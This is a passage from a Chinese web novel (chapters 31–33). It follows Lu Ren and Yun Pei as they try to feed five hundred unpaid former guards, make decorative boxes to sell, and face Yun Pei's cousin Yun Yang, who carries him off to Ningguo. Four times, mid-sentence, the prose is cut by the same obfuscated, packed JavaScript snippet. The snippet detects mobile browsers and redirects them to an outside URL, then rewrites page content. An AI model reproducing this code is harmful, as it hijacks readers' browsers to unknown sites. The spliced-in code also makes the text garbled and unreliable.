五人回到卢府,云配和路壬一同盘问莫飞,赵芨芨被路壬暂时赶去厨房,卢辛则去将今日花费记录在案。 “怎么回事?”云配做了别人半日少主,无端生出些如父如兄的责任。 “自我们解散,您家里就没再给我们发工钱了。” “你们这么多年就没积攒一些吗?” “我们做暗卫的,命栓在绳上,不知何时一命呜呼,留下一笔钱财无出去花……所以到手了就直接花了。” “那你是怎么卖身青楼的?” “龟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475162|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公爹爹说这个挣得多,当即就给我了二十两,然后他说如果有客人,我们就四六分成,然后兄弟们就有钱吃饭了。” “你知道春风馆是干什么的吗?” 莫飞点点头: “青楼,陪人睡觉。” “知道你还去。就不能做些其他的活计吗?” “我们当暗卫的也不能去官府去告您家不给工钱,没有户籍我们也没办法去干些走镖押运的活。” 云配被他这么一说,内心仿佛被人揪住了一大截,良心好痛。 莫飞笑道;“我刚进楼里,就认识了芨芨姑娘,她一口气就把我包了两个月,还说不用陪她睡觉。她真是个好人。” “……” “少主,这位客人还在这,我们这样讲没关系吗?”莫飞指着坐在一旁闭目扶刀的路壬。 云配疲惫无力:“无妨,她全知道。” “好的。” “我听懂了,虽然是赵芨芨花了银子,但是她养的你的人,并且可能还需要继续花银子养着这五百三十一人。” 云配低声试探:“现下是这样没错……” 莫飞听说云配要养他们,当即一个滑跪到路壬面前:“这位客人,您行行好,怜惜怜惜奴家和奴家家人吧!” 路壬扶膺长喘:“我去想办法,云配,你把他的奇奇怪怪腔调和词句改一改。” 路壬何尝不知云配内心对这五百三十一人的亏欠,只是未曾想到数百个武林好手困住他们的不是机关阴谋,单纯就是吃不饱饭。 ——————— “家主这是,谈妥了?” 路壬沉重的点点头:“我们需要挣钱了。” 路壬和卢辛翻找先前怀永安留下的秘籍。 终于寻到一本疑似行商的秘籍《颜如玉》。 “属下看真的没问题吗?” “本就是无主的东西,能学到用到就是你的本事。” 书籍上稀稀疏疏的字,大部分都是空的:只有开头有只言片语:“若是想要挣钱,找找客户需求,你需要实惠好用的东西。 若是想要挣大钱,找找华而不实的东西。 若是再想挣更多的钱,找找既不华丽又不实用的东西。 没有需求就创造需求,没有时兴就创造时兴,比如稀少的东西,及有没有名士会使用。 (以上,是合法但有些投机的生意。) 最赚钱的,军火,盐铁,造□□,如果上头没有人,请千万不要尝试,都写在《大临律》上。 (若是尝试了,请别被人发现,生死有命,富贵在天。) 关于记账的方式…… 关于商业谈判的技巧…… 关于如何选择掌柜…… 关于如何选择员工…… 关于如何把关货品…… 关于如何调控市场…… (哦,适度垄断,垄断太多容易受同行打压,上头有人请忽略此条。) 关于市场黑话,官场黑话,江湖黑话,以及教你如何编黑话……” 虽然前面好似写了许多,但后面空空如也,竟也没几条可用。 “管家,有什么华而不实的东西吗?” “华而不实,属下倒是想到一个典故,楚人卖珠,用以木兰,熏以桂椒,缀以珠玉,郑人买椟而还珠。” “卖好看的盒子?” “除去盒子而言,其实珠玉亦是华而不实之物,但买卖者众多,家主可从细微之处入手。” 一时间,路壬哪里想得到细微之处:“那暂且先定盒子,让云配画几张图,看看能否制出。” 卢辛笑道:“若是制不出呢?” “再想些其他的地方生财了,家业虽大,也难久久维持,好歹要把家里人喂饱罢。”路壬靠着椅子,以书掩面。 31. 笼月绕江盈盈满 “少主居然为了养活奴家竟要做工,果然云家已经没落了吗?” “第一,不要叫我少主;第二,不要自称奴家;第三,云家还没没落!” 云配狠狠地刨着花,将无奈通通发泄到木头上。 路壬想要验证先前她和云配关于归海少主的猜想,便问道莫飞:“你为什么叫他少主呢?” “少主就是少主啊,带我们的人让我们叫我们就叫。”莫飞觉得这问题有些莫名其妙。 “带你们的人是谁?” “不知道,我们这行一般都是蒙着面,只会用特定的标记和令牌作为指令。” 云配掏出那块鸟身鱼尾的令牌,指给莫飞看:“那你知道这个令牌是什么意思吗?” “尊少主为少主的意思。” 问题陷入僵局,但二人看的出莫飞也并未撒谎。 路壬指着云配,换了种问法:“他是谁家的少主?” “云家呗。”莫飞不假思索。 问题答道这儿,就有意思了。 拿着令牌的云配不知道自己是什么少主,听令的莫飞等人也不知晓自己效忠的是什么人。 “怎么?不是云家啊?”莫飞瞧着云配和路壬面色不好,有些疑惑。 路壬又试图换个问法:“你们就不会为了谁报什么仇?” “为什么要报仇?” “小路,我们是不是哪里想错了?”云配转而望路壬。 莫飞云里雾里,揣摩不真切:“少主,卢客人,你们要不给我透个底呢?我听不懂。若有需要知道,我定知无不言言无不尽。” 这五百多人也算是同云配一条船上的蚂蚱,思及此,路壬直截了当的将先前疑问提出:“你们不是为了扶持归海少主而存在的吗?” 莫飞猛猛摇头否认:“不是,我从上次在庙里才知道少主是少主,那往我们的应该是云家吧。我们从小就是别人培养的,谁给我们银子我们就效忠谁啊。 那人只说我们要效忠少主,为了少主而死,若是哪日失手为了不暴露少主还要自尽,诸如此类的,但没说要报什么仇。” 与预想的有些出入,路壬继续追问:“也就是说你不是归海家的旧部?” “我今年才19岁,和你们差不多大吧,归海家出事我还没出生呢,怎么也不可能是归海旧部吧。” “你知道归海家?”云配诧异,归海家是个忌讳,很少人会提起,连他们也是废了好一番周折才找到些线索。 “知道一点,那人只是给我们说了一下归海家什么时候没的,其他的没说。”莫飞像是突然发现什么惊天大秘密,震惊的用兰花指捂着嘴,“该不会……” “只是猜测。”云配抓了把刨花撒花去,“你好好捂嘴!” 云配瞧见莫飞一时难改的习惯,感慨起来:“说起来你们是从小训练的暗卫,竟然不是去接悬赏来养活。” 莫飞黏着兰花指嘤嘤起来:“杀手门槛很高的,要有门路,要有客人。其实很少有订单,毕竟也不是有些口角龃龉就要对方性命。我们也不知晓江湖上的那种暗杀组织,就更没有人找我们了。” “你们其他人都藏身在哪里?” “他们拿着我的卖身钱和芨芨姑娘给的钱,去买了个城郊破败的庄子,和几亩田,有人问时就说是在此做事的佃农。只是种子种下去,还未结果。” “算了,已经不重要了。”路壬拍拍云配的肩,“好好努力养活你的人吧。” ————— 案上满满登登陈列着各式各样的盒子,少说也有二十来个。 “都不行吗?” 路壬捏着下巴,沉思片刻:“管家你看呢?我没花钱买过盒子。” “属下倒也没自己花钱买过……” “云配你说呢?” 云配欲哭无泪:“我要是知道什么样好卖,会做那么多个吗?” 云配在家也算是衣来伸手饭来张口了,一个眼神别人就送他跟前了,哪里自己买过东西。 “云小哥,你家太有钱了。”赵芨芨在路壬身旁蹭蹭:“望望,我觉得都很好!” “你有钱买吗?” “没有。” “都不知道怎么算好看的东西,真的会有人买吗?”路壬百无聊赖的扣着盒盖开开合合。 “家主,找个会画画的人会不会更清楚一些?” 卢辛提示道,“书房里有许多大公子的手稿,二公子年少时画的草木鱼虫也都不错。” 路壬不疑有他,当即自己去整理了出来,又写了一封信让卢辛送过去。 卢献回的很快:“画随意取用,做好了可以送你梁兄长几个,好看的盒子装弘王的头没准是锦上添花。” 弘王之事果真与他有联系。 —————— 云配挑了几张手稿,将其雕琢,看起来倒是与先前做的好了许多。 路壬带着卢辛一同商讨。 “这样如何?” “我觉得好看很多。先做十个,找个铺子试一试。”卢家还是有铺面的,只是收益一般,倒也不会更差了。 “家主不必着急,或许能给这盒子个噱头,就说是仿了先前六元及第的大公子的画作,也许能沾些灵气,一举中第。” “好虚的说法。” “虚虚实实,再虚的说法,只要有人信,他就会一直传着。” 云配颔首:“有理。” “暂且先这样,我倒是明白为何谋逆案都会牵扯着贪墨案了。” —————— 距定国公府下狱已经好几月,云配离家也好久,云家却并未追查。 关于他们行踪,路壬忽然想起给云明说过他们会跟着梁思珃回绪州。 不过若是云家一查卢家,想来就一切明了。 只是若有万一,云家来卢家要人,卢家该如何,总不能扣着人不给? 云配住在卢家算是怎么回事? 路壬的担忧刚刚起来,卢家便迎来一位贵客。 “家主,新上任的宁国别驾说要来咱们府中拜会。” 路壬换了着装迎客,来人非常年轻,二十出头的年纪,绯色官袍,分明是皎皎之色,却面如寒冰。 这位别驾径直带人走了进来,丝毫没有在意一旁行礼的路壬。 “收拾五公子的着装装车。” “二哥,不是,等等你怎么在这里。”云配见鱼贯而入的侍从,亦是诧异。 “离家许久,你竟然还认得我这个二哥?” “这是我二哥云泱。”云配凑过去给二人介绍,“二哥,这是卢家家主卢望。” “嗯。”云泱居高临下,“云配多日叨扰,这是云家的一些谢礼。” 后面的仆从听他说话,当即带过来重重六箱金银珠宝。 “好了,走吧。” 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566028|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群侍从当即将云配拉住往外拖。 路壬当即击倒众人,将云配拽在身后。 “卢家主这是什么意思?”云泱质问。 “你不能带走他。” 云泱冰冷的脸上竟然染了笑意,透露着一种自上而下的俯视: “我竟不知卢家家主有何理由拦住我?” “大人,五公子的这些东西可还要带走?”侍从搬来其中几个云配做的盒子。 “不必了,好好的世家公子不当,非要跟着破落的小门小户在一起混吃等死,染上的一些陋习今日一并摒弃。” 云泱轻飘飘摆手,侍从便将东西归置一旁。 “二哥,我不走!” “理由?” “我不想走。” 云泱拉住云配的胳膊:“笑话,凭你一个想不想就能改变什么吗?家里放纵了你这些时日已经够了。” 云配挣脱不开,路壬拔刀架在了云泱脖颈之上,周围的侍从当即拔刀相向,仿若打斗一触即发。 刀离云泱咽喉不过寸余,刽子手的刀饮血食肉最是锋利。 云泱瞥了一眼四周仆从道:“刀剑放下,别碰伤了五公子。” 云配的挣扎力度变小,云泱抬眸直视路壬:“卢家主,我劝你也将刀放下。虽说云某一命就在一息之间,不过当众杀害朝廷命官,你该清楚卢家什么下场吧。” 云配伸出另一只手缓缓按下路壬的刀。 路壬不善辩论,何况云泱所言句句在理,她没什么立场将云配留下,更需顾念卢家。 投鼠忌器,大概此理,无怪乎卢献宁愿假死脱身。 路壬第一次意识到自己的刀,并不能时时刻刻挡在她和云配身前。 仅仅是云泱的一番话,就已让人溃不成军。 云配挣拧出手臂,对着云泱道: “我不走,我答应她了,要入赘。” 连同门外看热闹的百姓都吃了一惊。 云配脸上当即清脆响起一个巴掌。 “你还要丢脸到什么时候?” 云配匆忙抓住路壬的手,慌乱之间竟只攥住了路壬三根手指。 云配的手温热而潮湿,路壬甚至能察觉到微微颤抖。 “君子不失信于人,我哪里丢脸了?” 路壬回握了下云配,她另一手收了刀,与云配位置平齐。 “云配方才说的是假的,他并未答应入赘于我。” 云配还想说话,路壬轻捏了他的手指以示阻止,“若是用谎言去应对,就要不停的圆谎,你会过的不舒服的。” 路壬直视云泱:“首先,云配应该是他自己,其次才是云别驾的弟弟,他为自己所想之事争取并无错处,也请尊重他的选择。 从京城到宣城这里时,云配其间遇上了几次刺杀,其中一次离云府只有三里,门口停着的便是云家马车,却无人照应。 云家甚至不能保证他的安全。 再者卢家小门小户,依旧是《大临律》护佑的百姓,若是云别驾嫌弃,请贵足免踏卢家家宅。 在宣城,宁国,卢家尚勉强算是富裕人家,云别驾都已这般轻视,可各处百姓若是还不如卢家,别驾又当如何?您治下的百姓如何相信您真的是为民请命的官员?” 云泱的教养让他不忍吐出些污言秽语,可眼中已满是冷色,眼前的女子像是诚恳,却处处相逼。 “虽是如此,云配还是应当同我走。” 32. 占得人间一味愚 “凭什么?” “凭什么?凭你现在只能问“凭什么?””云泱面色冷峻,“还有一点你们说错了,我并不在意门第高低,只是单纯瞧不上这种偏安一隅,混吃等死的做派。你在这学会了什么,木匠?你平日都在做什么,灰头土脸的做盒子?” 卢辛上前帮忙说话:“云别驾,升斗小民糊口度日,已经是天大的事,卢家如此,天下的百姓大多亦如此。蝼蚁有蝼蚁的取生之道,万物生灵经世间一遭起起伏伏亦非所愿。云五公子纯善,只是为了帮助卢家,且本事并无优劣之分,上进也非登青云道一条路。” 这也算是给了云配体面。 “你叫什么名字?” 卢辛行礼道:“卢家管家卢辛。” “你可愿进宁国府衙?本官可为你保举,你的才华不该埋没在这小宅院里。” 卢辛莞尔一笑,当即行礼:“谢别驾美意,草民无鸿鹄之志,家主待人至真至诚,辛不愿离去。” 云泱斜眼打量卢辛,冷面倒是无甚变化: “我不强求,但同样的机会我不会给第二次。” “自然。” 赵芨芨趴在墙头几乎瞧见了全过程,再想细看时,与路壬四目相对,她当即给路壬指了指云泱,并做了一个抹脖子的动作,吓得路壬眼睛都瞪大了,连忙小幅度摇晃脑袋,生怕她再冒出什么惊人之举。 路壬的这番动作落在云泱眼里便是上不得台面的漫不经心,更将路壬看低了几番。 故而云泱开口:“你二人若是想要一起,云家只接受卢家主为妾,这是我最后的退步。” 云配将身体挺直,郑重道:“二哥,你这是在侮辱我们。” 他并不算畏惧这位堂兄,只是他来的太让人措手不及,以至于将云配还未想清楚的事情逼了出来。 相处许久,他实在知道路壬的秉性,可他心中几分意动他还是辨不清晰。 但脱口而出那刻,身体本能的反应不是作假。说要入赘卢家,哪里又分的清楚是作谎应急还是真心有之。 是以他慌了,因为路壬依旧在回握着他的手,也因为他的堂兄在众人面前中伤路壬。 “你是我的家人,你不能这样。” 他固执的挡在路壬身前,不想要众人用打量的目光看路壬的笑话。除此之外,他竟发现自己无力做其他事。 真是没用。 云泱有些动容,少年人的变化很大,给他也带来些措手不及。从小到大,云配从来没很认真的争取过什么,仅有的一次是想让家里出面给定国公府求情。 他听说云配从临安来了这里,只是想着让他安分一些,跟着一同去宁国学些东西,总不至于长久在外坠了家中声名。再者,云家五公子不清不楚住在卢家算什么事? 对于云配来说,没有什么必须留在宣城的理由,但对于云泱来说,他一样也没有必须带云配去宁国的理由。 云泱刚要开口,一阵凌厉的刀风划破长空,在众人反应未及时,架在了他咽喉之上,鬓边碎发触刀即断:“云别驾,你的要求我做不到,不单单是因为我现下是卢家家主,而是即便我作为刽子手,当过升斗小民,我依旧有反驳的权利。” 路壬反手握刀,左臂伸直,定定看着云泱:“卢家是我在意的,但真正逼急了的蝼蚁,也会争一争命。凭我依旧可以拔刀架在尊驾颈前。” 外人看的一知半解,从而拼凑出世家公子为爱私奔,兄长前来规劝未果的故事。 云泱面无惧色:“我倒很想知道,将云配带走,卢家主能将我如何?” 路壬也未收刀:“云别驾想将云配带至宁国?” 一旁的卢辛使了个眼色,路壬忽然福至心灵,眼睛都比原先亮了起来,当即将刀收回刀鞘,同云泱行礼:“那云别驾把他带走吧。” 云配听后面露惊慌,忙扯住她袖子:“小路,你怎么不要我了?” 旁观的人瞧见了,又是一出强权压迫真爱的故事。 “没有不要你。” 云配乍听这话有些宽慰,品着品着就咂摸出其他的味来,她方才说的究竟是“没有不要你”还是“没有,不要你”? 但这种揣摩很快被定了答案,路壬开始让人去帮忙抬他的行装。 竟真是那句:“没有,不要你。” 云配胸口说不清的烦闷,喉间沉而干,脑中仿佛有根线,断了。 云泱眯眼,柳下风轻,自留一片暖阳。 云配气吼吼瞪了一眼他哥,然后拉着路壬去了屋里。 “刚才如果说我入赘给你家,再磨一磨他我就不用走了。” 路壬摇摇头:“可用谎言去应对,要不停的圆谎,很疲惫。” “可你不是说你哥心悦定国公姑娘……” “死无对证的事,不算谎言。”路壬说的面不改色。 云配生了一窝火,咕哝道:“我真入赘就可以了,也不算撒谎了。” “有道理。”路壬摸着下巴沉思片刻,复又张嘴,“可是你为什么要入赘呢?” “为……为什么?” 他也不知哪里冒出的想法,像是长眠土地的种子,乍见一场急雨,便破土而出。 “这只是你被逼到绝境,不得已想出的办法。既然是不得已,那就不要做,否则你会不开心的。”路壬轻声细语阐述。 “所以你是觉得我应该走?” 路壬点点头:“我们争不过你哥,他不是水匪,是官,我又不能杀了他。” “我知道了……”云配拉着她的手垂了下去。 “你哥不是带你回京,是带你去宁国,马车一天就到了。”路壬也是瞧见卢辛摇头才忽然想明白,倒也不需争个输赢。云泱既然出仕为宁国别驾,自然是要长留宁国的,撬卢辛也时去宁国做官,想来一时半会不会回京,那他们还争个什么劲? 云府侍从敲门催促云配:“五公子,您行礼收拾好了,二公子请您上车。” 路壬拉着云配出去,而后自己径直往后院去。 云泱寻了处阴凉处,端正坐下,官袍在光下明亮鲜艳,趁得他白皙的面容愈显冷傲,风姿清俊,却仿佛卢家欠他一座矿山。 云配与他这位堂哥生的并不相像。 云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700315|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 配生得一副好骨相,脸型柔和但有些棱角,张扬的面容,天成的精致,白面浓眉,眼尾微挑,不笑时带了半分锋利。偏偏是个又义气又温和的少年。故而连带着年轻人明亮如星的眼睛都少了几分张扬。 这张皮相,放江湖里就是肆意风流的少侠,他却不会半分武功;放朝堂就是鲜衣怒马的新科士子,偏生他作不得半篇文章。 芝兰玉树生于云家门庭,但似乎也只生了幅耀眼美貌和菩萨心肠。 “你们二人谈清楚了?” 云泱瞧见云配过来,便起身正袍。 “也算吧。”云配答的失落。 “那就走吧。” 侍从已经将东西装车,云配一步三回头,都未瞧见路壬。 云泱在他身后没再说话,目的达到,他没有必要再通云配争论。 马车匆匆离开,卢家阖上大门,赵芨芨也趁此翻墙进去。 “你就不能走门吗?” “望望,云小哥被带走了,怎么办啊?” 路壬这边已经在同卢辛交代事情,赵芨芨只好在一旁晃荡,等着她说完。 路壬拍拍赵芨芨天灵盖:“我先去宁国一段时间,家里就托管家管事了,别乱花钱,你也看好莫飞和他一大堆家人,别让他们乱跑。” “家主放心,属下定当竭力。”卢辛行了一礼。 路壬跨上马身,正要拉扯缰绳,又回头道:“其实当官挺好的,虽然跟着云配他哥不一定有前途,但管家你可以试试科举,看看能不能博个前程。” 她说要便骑马出去了,没听清后面人说什么。 —————— 云泱的马车行出了宣城十来里,便有侍从来报:“卢家主追来了!” 云泱手指摩挲汝窑主人杯,皱眉道:“她又打什么主意?” 斜阳草树,路壬的身影在马上轻飘飘的,带着晚霞。 她的刀依旧挂在腰间,故而还未接近便给了众人震慑。 “卢家主,追行至此所为何事?” 路壬御马行至云泱跟前:“我去宁国城。” 云泱身后侍从开口:“你这女人也太阴魂不散了吧!” “宁国是云家的宁国吗?我去不得?”路壬端坐在马上,一手扯着缰绳,一手摸着马耳,说的漫不经心。 侍从便停了话。 “果真是个敏感的话题。” 云配原本是在马车里睡觉,隐隐约约听着像是路壬,便探出头来。 “小路,你怎么来啦?” “小门小户家业比较零散,有些在宁国,要去处理一下。”路壬朝云配伸出手,“既是去宁国,我载你一起?” 云配忙从马车跑了出来,被路壬拽上了马。 云府侍从看着路壬冒出来又将人带走,想拦又不敢拦。 “二公子……” 云泱怒极反笑,如玉的面容不改冷色,他坐在草席上没有起身,望向二人一马消失的背影,缓缓吐出一句:“无赖……” 骏马急行如飞,风扯着二人衣袖缠绵,云配不由得将路壬的衣袖攥的更紧了些。 33. 悔教夫婿觅封侯 二人夜半就到了宁国,只是城门已闭,只好找了个避风处歇息。 他们躺在地上,满天星斗入眼,竟觉得格外平静: “小路,我们明天干什么?” “买个宅子。” 卢家在宁国有地,有产业,但没有宅子。 她倒不考虑举家搬到宁国,卢家在宣城的现状其实比当初怀永安预想的要好。 除去水匪威胁,过的也还算平静。 买宅子唯一的理由是云配。 云泱对云配并没有敌意。对于她这样拿刀的人来说,这种感觉很敏锐。 “然后呢?”云配别扭的转过脸,“你会在这里陪我吗?” “一半时间陪你,一半时间我要回宣城。” 云配遗憾的又将头转走:“哦。” “你这一年时间内,不要回京,就呆在江南,我会常来看你。” “小路,我有一个问题。”云配坐起身来,望向一旁的路壬,“那你为什么来送我呢?在宁国购置房产,这些管家就可以办到,他还有可能比你会谈价格。” 路壬也坐起身来,扭头看向云配:“对哦,为什么?” 她也不知道,必要说的话是未经思索的身体反应。但很显然这不是云配和她自己要的答案。 夜色微凉,两人相顾无言,还是身体后仰,躺在大地之上,挨过去了短暂一夜。 —————— 第二日,二人是在众人的目光里转醒的。 云泱优雅的大脸就这么明晃晃的摆在天上。 “两位,起了?” 云泱让人收了胡床,自己径直进了马车。 马车经过二人身旁时,云泱的声音从里面传来:“卢家主,今日傍晚,本官希望在府衙见到云配。” “好。” 路壬和云配进城先吃了份刚出锅的馒头,就去牙行看房子。 她一眼就瞧中府衙旁边巷的房子。 “客官,您这眼光真好,这宅子是先前的一位大人的私宅,后来人没了,现在家里也落魄了,这不是就想着挂到我们这嘛。但是啊,这官老爷到底比小门小户修的讲究,里面还挖了假山池塘,布置的很精巧。” 牙人赵寺比他们年岁大点,话也不少,宅子离得也近,他便直接将二人领过去。 入目的大门退了红漆,不过倒也比卢家大门初始的样子要好点。 整个宅邸是旧,倒不是破,该有的都有,厚厚的灰尘和落叶无人洒扫,雪后的土地宣软一步一个坑。 就这个了,路壬拿了银票直接一次性付清。宁国是小地方,不比京中宅邸价格要让人去搭进去半辈子的积蓄。 值得一提的是,这宅子据说还有点凶,所以价格又便宜了些。 “小路,就买这吗?” “嗯,我们等会去市集和作坊里看一看有没有可添置的物件。” 小宅留待人走的路已经铺了青石,偏生路壬在雪后松软的土地上踩了又踩,走到池塘边才停下。 “这塘里可以多养些鱼,邓伯就不用常去买鱼了。”路壬又笑着转头问云配:“你喜欢不喜欢秋千?到时候可以在那边扎一个。” 云配心乱的很,偏生她这忽然一笑,心就更乱了,像是路壬脚下的土地,看着板板实实,其实泥泞的不成样子。 “你若喜欢我到时候给你打一个。” “好啊。” ———— 二人到了市集,看了许久也没瞧上床榻之类的家具,反而买了许些华而不实的装饰品。 偏偏又不贵,贵了路壬就拦一下自己了。 两人并排慢慢走着,云配就看着前面的路:“小路,我不知道我要做什么了。” “你跟着云别驾学些东西也不错,身世我还在查,那些人我也会好好养着,你就当暂且尘埃落定。”路壬不太会安慰人,但她也没什么方向。 挣钱,查身世,还有她哥的半谋反半继位计划,都是提上日程但看不到什么响动。 云配走累了,二人又寻了处酒楼用膳,从窗望过去,云泱便装独自在街上溜达,大概是体察民情。 路壬不是很喜欢这个人,转过头不去看他,云配趴在桌上等着上菜。 南方的菜都是偏甜口的,云配的口味更偏甜一点,除了一碗片儿川,其他的都多多少少有点甜。 路壬没那么饿,点了份乳酪和清炒时蔬,在云配万分不解的眼神中,蘸着吃。 云配的眉头已经皱到了鼻子上,温声道:“谁教你这么吃的啊?” “你说的。” “……”那他确实挺该死的。 “不是很好吃。”路壬尝了一口,便专心只吃乳酪。 云配给她夹了块闷的通红的东坡肉:“每道菜都有他恰到好处的吃法,串味不太好。” 二人安静嚼着五花肉时,路壬指了指楼下。 云泱瞧着是遇上了麻烦,他穿的太鲜亮被讹诈的人盯上了。 银灰色的锦袍下摆被人在地上紧紧攥着,粘上了脏污。 分明在卢府巧舌如簧的一个人,就愣愣站在那话也不说,手也不动,跟人傻了似的。 “我二哥不能碰不干净的东西。” 躺着的那人咄咄逼人,路壬的来回转了三次头,才在云配祈求的眼神中,跳下窗,直接站在云泱身旁。 虽然云泱面上的五官动的弧度变化不多,依然能从他一张冷脸上瞧见很是震惊,紧绷的身形还是暴露了他此刻的窘迫。 “讹人不是这样讹的。”路壬拔刀指着地上躺着的那人。 “青天大老爷啊!撞了人还要拿刀架在小人脖子上,没天理啊,没王法啦。”地上的人撒泼打滚,周围看客纷纷。 路壬将云泱被拽着的衣袍割断,收了刀:“我们公子受了惊吓,便不能人言,僵持无状。每次出这种事,我们老爷都得托人百金买药,这怎么算?” 碍事的脏东西已除,云泱不动,静静看热闹。 “明明是他先撞的我。” 路壬当即反驳:“你说我们公子如何撞到的你,哪里有证人?有什么证据能证明我们公子撞到你了?但你把我们公子吓得僵在这里,大家伙可是看到了!” “对,这位公子方才被抓了后可是一动没动,话也不说。”街旁卖菜的人回了一嘴。 路壬继续道:“我们公子的药钱是不是该给了。” 旁人打量云泱穿着,竟也真像百金百金养出来的富贵公子。 “你这是讹诈!”地上的人不甘心到手的肥羊,继续哀嚎打滚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784265|147667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “既是讹诈,你可敢跟我们去见官?” 那人听了见官,纠结之下还是起身跑了。 “要见官吗?”路壬转头问云泱。 云泱颔首道:“自然。” 路壬一个闪身,将刀鞘甩了出去,正中那人当头。 迟来的衙役,围拢过来,云泱轻轻抬手,众人便一拥而上,将讹诈那人扣押。 讹诈那人不甘:“诸位大人,她打的我啊!刀鞘还在那呢!” 周围的人鸟作兽散,路壬走过去捡了刀鞘。 云泱抬头看向楼上窗子:“看笑话看够了,下来吧小五。” 云配听了正要结账下去,摸了下腰间又伸出头往窗外道:“二哥,你上来吧,还没付钱……” “丢人现眼。”云泱优雅上楼,丝毫不顾及衣袍破烂。 云配慌张起身,迎接云泱。 云泱就坐,路壬跟在后面落座,只是云泱坐在了方才她坐的位置,她便坐云配身旁。 “把这用具换了。”云泱吩咐跑堂。 路壬不想说话。 云配招呼人点了新的菜品,又让人给路壬新加了一套用具。 “二哥,你尝尝这家店的片儿川,很是好吃。” 云配说完便殷勤给路壬倒茶:“小路,方才多亏了你,你快歇一歇。” “真有了赘婿的样子。”云泱恨铁不成钢,用了几口片儿川便起身离去。 二人用完膳,路壬将云配送到府衙,便牵马要走。 “小路,你会回来的吧?” “会回来。”路壬从怀中掏出了一根钥匙和一包银子,交给云配,“住不惯府衙你就出来,宅子你已经看过了,找几个人打扫一下,你想住哪一间都可。” 云泱在门旁悄悄瞧着,越听越不对劲,再看看自己傻弟弟满面春风的样子,不由悲从中来。 赘婿没当成,当成外室了。 “公子,你今日要去拜会太守。”云府侍从提醒道。 云泱:“走,去更衣。” 侍从抱着他缺了一块的衣袍,问道:“公子,这衣服?” “先留下。”云泱看了一眼,银灰色的下摆被刀斩掉很多,“去查一下卢望的底细。” 那身利落的刀法不像是平常人能练出来的。 ———— 路壬快马加鞭,到宣城已经是半夜了,城门关着,她便转道去了山上。 山上有些零星的灯火,看来是卢献已经在命人挖矿了。 此处少有人来,路壬抹黑上山,未曾想到卢献今日在这。 “听说云家的人给你脸色看了?”卢献一身白衣,在夜中看着很是明显。 “是啊。”路壬系上马,随着卢献走近内室。 卢献便倒茶边风凉道:“云家的人一向眼高于顶,不出所料。” “你既然在这,能借我个榻歇一会吗?” “刚铺的床,还没睡过,便宜你了。”卢献指指里间。 路壬放下刀当即要趴上去。 卢献瞧她一身尘土,笑道:“姑娘家家能不能干净一点,柜子里有新买的女装,挑身合眼的换上再睡。” 路壬有些困倦,怀疑自己没有听清,打开衣柜才发觉满柜的绮罗:“这里为什么会有女装?”